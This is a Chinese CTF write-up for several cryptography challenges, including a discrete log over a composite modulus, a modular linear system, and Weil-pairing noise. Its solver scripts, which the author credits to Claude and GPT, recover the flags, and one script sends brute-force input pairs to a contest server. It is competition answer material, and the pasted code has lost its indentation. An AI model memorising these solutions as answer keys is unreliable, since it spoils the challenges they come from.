解题方法和Crypto的小跳蛙一样,把题目描述和服务器给出的数据发送给AI,让AI提供答案,把答案填写到服务器上,连续5次后即可获得flag


[Cry]DLP
题目描述:用好题目和工具,解决这个离散对数问题吧
import random
import math
from sympy.ntheory.modular import crt
# ------------ Miller-Rabin ------------
def is_probable_prime(n, k=8):
if n < 2: return False
small_primes = [2,3,5,7,11,13,17,19,23,29]
for p in small_primes:
if n % p == 0:
return n == p
d = n - 1
s = 0
while d % 2 == 0:
d //= 2
s += 1
for _ in range(k):
a = random.randrange(2, n - 1)
x = pow(a, d, n)
if x == 1 or x == n - 1:
continue
for __ in range(s - 1):
x = (x * x) % n
if x == n - 1:
break
else:
return False
return True
# ------------ Pollard's Rho ------------
def pollards_rho(n):
if n % 2 == 0:
return 2
if is_probable_prime(n):
return n
while True:
c = random.randrange(1, n-1)
x = random.randrange(2, n-1)
y = x
d = 1
while d == 1:
x = (x*x + c) % n
y = (y*y + c) % n
y = (y*y + c) % n
d = math.gcd(abs(x - y), n)
if d == n:
break
if d > 1 and d < n:
return d
def factor(n):
"""返回 n 的素因子列表(可能有重复)"""
if n == 1:
return []
if is_probable_prime(n):
return [n]
d = pollards_rho(n)
if d == n:
# 失败,退而求其次暴力试除(对 32-bit 因子来说通常够用)
res = []
i = 2
while i * i <= n:
while n % i == 0:
res.append(i)
n //= i
i += 1 if i == 2 else 2
if n > 1:
res.append(n)
return res
else:
left = factor(d)
right = factor(n // d)
return left + right
# ------------ 原根(primitive root)------------
def prime_factors_simple(n):
res = []
d = 2
while d * d <= n:
while n % d == 0:
res.append(d)
n //= d
d += 1 if d == 2 else 2
if n > 1:
res.append(n)
return res
def find_primitive_root(p):
phi = p - 1
facs = set(prime_factors_simple(phi))
for g in range(2, p):
ok = True
for q in facs:
if pow(g, phi // q, p) == 1:
ok = False
break
if ok:
return g
raise ValueError("no primitive root found")
# ------------ Baby-Step Giant-Step discrete log ------------
def discrete_log_bsgs(g, h, p):
"""
Solve g^x = h (mod p) for 0 <= x < p using BSGS.
Returns x if found, else None.
"""
g %= p
h %= p
if h == 1:
return 0
m = int(math.ceil(math.sqrt(p - 1)))
# baby steps
baby = {}
cur = 1
for j in range(m):
if cur not in baby:
baby[cur] = j
cur = (cur * g) % p
# factor = g^{-m}
inv_g = pow(g, p-2, p)
factor = pow(inv_g, m, p)
gamma = h
for i in range(m+1):
if gamma in baby:
return (i * m + baby[gamma]) % (p-1)
gamma = (gamma * factor) % p
return None
# ------------ 主流程 ------------
def recover_flag_from_N_y(N, y):
print("[*] Factoring N ... (Pollard Rho)")
facs = factor(N)
facs.sort()
# deduplicate and ensure we have unique prime factors (they should be primes)
primes = sorted(list(set(facs)))
print("[*] Found prime factors (unique):", primes)
# For each prime p recover x mod (p-1)
congruences = []
moduli = []
for p in primes:
print(f"[*] Processing p = {p}")
g = find_primitive_root(p)
print(f" primitive root g = {g}")
hp = y % p
xp = discrete_log_bsgs(g, hp, p)
if xp is None:
raise ValueError(f"Discrete log failed for p={p}")
print(f" x ≡ {xp} (mod {p-1})")
congruences.append(xp)
moduli.append(p-1)
# 合并同余:使用 sympy.crt(返回解与模)
x_crt, mod_lcm = crt(moduli, congruences)
if x_crt is None:
raise ValueError("CRT 合并失败")
print(f"[*] Recovered x mod L where L = lcm(p_i-1) = {mod_lcm}")
# x_crt is in [0, L-1]; 真实的 x 应该小于 L(若 flag 编码较短)
x_int = int(x_crt)
# 把 x 转为 bytes
b = x_int.to_bytes((x_int.bit_length() + 7) // 8, 'big')
try:
flag = b.decode()
print("[*] Recovered flag string:", flag)
except Exception as e:
print("[!] 无法直接 decode 为 UTF-8,打印 hex:")
print(b.hex())
flag = None
return flag
if __name__ == "__main__":
# N, Y
N = 309188900849282292730996572442105319804517021637303572285568169372827724672013943204807085606291832819055916540180210625660012888515667353984324438526947
y = 260785984269183342143040042876301128691169473526814133757612160538721419207138445246818874092343133346101040420148945804080352598475162932165207050154918
recover_flag_from_N_y(N, y)

[Cry]随机数之旅3.6
题目描述:关键在你拥有的信息
Claude4.5秒了

# 模运算下的高斯消元法求解线性方程组
def mod_inverse(a, m):
"""计算a在模m下的逆元"""
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return gcd, x, y
gcd, x, _ = extended_gcd(a % m, m)
if gcd != 1:
return None
return (x % m + m) % m
def gauss_eliminate_mod(A, b, p):
"""
模p下的高斯消元法求解 Ax = b
A: m x n 矩阵(列表的列表)
b: 长度为m的向量
p: 模数
返回: 解向量x(如果存在)
"""
m = len(A)
n = len(A[0]) if m > 0 else 0
# 复制矩阵和向量,避免修改原数据
M = [row[:] for row in A]
B = b[:]
print(f"开始高斯消元法求解 {m}x{n} 系统...")
# 前向消元
pivot_row = 0
for col in range(n):
# 找到非零主元
found_pivot = False
for row in range(pivot_row, m):
if M[row][col] % p != 0:
# 交换行
M[pivot_row], M[row] = M[row], M[pivot_row]
B[pivot_row], B[row] = B[row], B[pivot_row]
found_pivot = True
break
if not found_pivot:
continue
# 获取主元的逆元
pivot_val = M[pivot_row][col] % p
pivot_inv = mod_inverse(pivot_val, p)
if pivot_inv is None:
print(f"警告: 第{col}列找不到逆元")
continue
# 将主元行归一化
for j in range(n):
M[pivot_row][j] = (M[pivot_row][j] * pivot_inv) % p
B[pivot_row] = (B[pivot_row] * pivot_inv) % p
# 消去下方的元素
for row in range(pivot_row + 1, m):
factor = M[row][col] % p
for j in range(n):
M[row][j] = (M[row][j] - factor * M[pivot_row][j]) % p
B[row] = (B[row] - factor * B[pivot_row]) % p
pivot_row += 1
if pivot_row % 10 == 0:
print(f" 处理到第 {pivot_row} 行...")
# 回代求解
print("开始回代求解...")
x = [0] * n
for row in range(min(m, n) - 1, -1, -1):
# 找到这一行的主元列
pivot_col = -1
for col in range(n):
if M[row][col] % p != 0:
pivot_col = col
break
if pivot_col == -1:
continue
# 计算解
val = B[row]
for col in range(pivot_col + 1, n):
val = (val - M[row][col] * x[col]) % p
x[pivot_col] = val % p
return x
# 读取数据
with open(r"C:\Users\lenovo\Desktop\output.txt", "r") as f:
lines = f.readlines()
p = int(lines[0].strip())
A_list = eval(lines[1].strip())
b_list = eval(lines[2].strip())
print(f"p = {p}")
print(f"矩阵A: {len(A_list)}x{len(A_list[0])}")
print(f"向量b: {len(b_list)}\n")
# 已知的字符位置
known = {
0: ord('f'), # 102
1: ord('l'), # 108
2: ord('a'), # 97
3: ord('g'), # 103
4: ord('{'), # 123
41: ord('}') # 125
}
n = 42 # flag总长度
m = 36 # 方程数量
# 修正b向量(减去已知项的贡献)
b_modified = []
for i in range(m):
val = b_list[i]
for j in known:
val = (val - A_list[i][j] * known[j]) % p
b_modified.append(val)
# 创建新的A矩阵(只包含未知变量的列)
unknown_indices = [i for i in range(n) if i not in known]
A_new = []
for i in range(m):
row = [A_list[i][j] for j in unknown_indices]
A_new.append(row)
print(f"未知变量数量: {len(unknown_indices)}")
print(f"方程数量: {len(A_new)}\n")
# 求解
x_unknown = gauss_eliminate_mod(A_new, b_modified, p)
# 重建完整的x向量
x_full = [0] * n
for i, idx in enumerate(unknown_indices):
x_full[idx] = x_unknown[i]
for idx, val in known.items():
x_full[idx] = val
# 转换为字符串
flag_chars = []
for val in x_full:
# 确保在合理的ASCII范围内
val = val % 256
if 32 <= val < 127:
flag_chars.append(chr(val))
else:
flag_chars.append(f"[{val}]")
flag = ''.join(flag_chars)
print(f"\n可能的flag:\n{flag}\n")
# 验证解
print("验证解...")
all_correct = True
for i in range(m):
expected = b_list[i]
actual = sum(A_list[i][j] * x_full[j] for j in range(n)) % p
if expected != actual:
print(f" 第{i}行验证失败: 期望 {expected}, 实际 {actual}")
all_correct = False
if all_correct:
print("✓ 所有方程验证成功!")
print(f"\nflag = {flag}")
else:
print("✗ 验证失败")

[Cry]运气与实力
题目描述:参数:2^24;514
GPT秒了😸,发了个脚本给我

import socket, time
HOST, PORT = "39.106.48.123", 16512
DIFF = 8388608 # 2^23
with socket.create_connection((HOST, PORT)) as s:
s.settimeout(5)
buf = b""
i = 1
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
text = buf.decode(errors="ignore")
print(text, end="") # 观察服务端输出
if "flag" in text.lower():
break
if ":" in text: # 出现输入提示
x1 = i
x2 = i + DIFF
line = f"{x1} {x2}\n"
s.sendall(line.encode())
i += 1
buf = b""
except socket.timeout:
# 超时则继续等或重发下一对
x1 = i
x2 = i + DIFF
s.sendall(f"{x1} {x2}\n".encode())
i += 1
buf = b""
time.sleep(0.1)

[Cry]简约但不简单
题目描述:非常简约哦。
把附件的代码发给GPT,然后就被GPT带飞😎

# 复制你的 pd 输出到这里:
pd = {
3413676640: 1594077971399385299395022227852120555480881869700637958117720940776903900048909126220647862398841465330414656859614557714565079951005622575312330146529382177601052870025387871105367157364980720098108223606218778071591962312625545928833475405327437929990676527598584146131583628543440856728345525538339583048836248707122644351050182499626881169032352787112151495775408995081033982986335846819558919915251,
1750756035: 2054200758155809430584682000748084645623817029820517053922743364374804105875884926940420627189956084606447359376765801210864111309534028184840667117141884507600723257114137325445664302774484068353837055532470902698739100719671542290651856331138066968452527405350535656340120689540541436633603023418382432662235969191092536737362557358534747146579541901899362864001727095589806693532072254751,
2784498663: 375854307330722604895974468090858814864572180251131715939732683940369788071083742192233859810935302243896235156472567348202741984360129992791781365677098394056713626446456459605416838890813014133791849451618056825242399275114351112835538706806874580862351976739195216744313743979529905098368548935904803841295421642793890717398476615519687117378253101704831174492618046725311143847432708224771894487
}
from math import gcd, isqrt
# 1) 计算三差的 gcd(通常包含 a)
keys = list(pd.keys())
vals = [pd[k] for k in keys]
g = abs(gcd(gcd(vals[0]-vals[1], vals[0]-vals[2]), vals[1]-vals[2]))
print("g =", g)
# 2) 枚举 g 的所有正因子(因为 a | g)
def divisors(n):
divs = []
for i in range(1, isqrt(n)+1):
if n % i == 0:
divs.append(i)
j = n//i
if j != i:
divs.append(j)
return sorted(divs)
for a_c in divisors(g):
# a_c 作为候选
x = keys[0]
y = pd[x]
b_c = y % a_c
P = (y - b_c) // a_c
# 用基 x 展开 P,检查每一“位”是否为合法 ASCII (0..255)
temp = P
digits = []
ok = True
while temp > 0:
d = temp % x
if d > 255:
ok = False
break
digits.append(d)
temp //= x
if not ok:
continue
digits = digits[::-1]
s = ''.join(chr(d) for d in digits)
if s.startswith("flag{"):
print("FOUND candidate a,b ->", a_c, b_c)
print("recovered:", s)
break
手动把最后的~换成}


[Cry]weil的噪声与秩序
题目描述:
Weil配对是一种强大的工具,能将椭圆曲线上的点映射到乘法群中,创造出结构化的“秩序”。但当随机噪声被引入其中,这种秩序便会被打破。
你的任务是分析一组被Weil配对加密的数据,其中一部分是纯粹的秩序,另一部分则被强烈的噪声污染。区分它们,你就能读懂隐藏在背后的信息
把题目的所有附件都给claude4.5,它会进行分析然后写出解密脚本

from c import c
# 题目参数
p = 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559523
print("="*70)
print("Weil配对密码分析 - 区分秩序与噪声")
print("="*70)
print()
# 恢复二进制位
bits = []
order_count = 0
noise_count = 0
for i, val in enumerate(c):
# 检查是否为3次单位根(纯粹的秩序)
# 在有限域 GF(p) 中计算 val^3 mod p
result = pow(val, 3, p)
if result == 1:
# 这是3次单位根,没有噪声污染 -> 对应 '0'
bits.append('0')
order_count += 1
else:
# 被噪声污染 -> 对应 '1'
bits.append('1')
noise_count += 1
print(f"总共恢复 {len(bits)} 个比特位")
print(f" 秩序('0'): {order_count} 个")
print(f" 噪声('1'): {noise_count} 个")
print()
# 将比特位转换为字节
flag_bytes = []
for i in range(0, len(bits), 8):
if i + 8 <= len(bits):
byte_str = ''.join(bits[i:i+8])
byte_val = int(byte_str, 2)
flag_bytes.append(byte_val)
print(f"恢复 {len(flag_bytes)} 个字节")
print()
# 转换为字符串
try:
flag = bytes(flag_bytes).decode('ascii')
print("="*70)
print(f"[SUCCESS] Flag: {flag}")
print("="*70)
except Exception as e:
print(f"ASCII解码失败: {e}")
print("尝试UTF-8解码:")
try:
flag = bytes(flag_bytes).decode('utf-8')
print("="*70)
print(f"[SUCCESS] Flag: {flag}")
print("="*70)
except:
print("UTF-8解码也失败,显示原始字节:")
print(bytes(flag_bytes))
print()
print("前10个字符的详细信息:")
for i in range(min(10, len(flag_bytes))):
byte_str = ''.join(bits[i*8:(i+1)*8])
char = chr(flag_bytes[i]) if 32 <= flag_bytes[i] < 127 else '?'
print(f" 位 {i*8:3d}-{i*8+7:3d}: {byte_str} -> {flag_bytes[i]:3d} (0x{flag_bytes[i]:02x}) -> '{char}'")
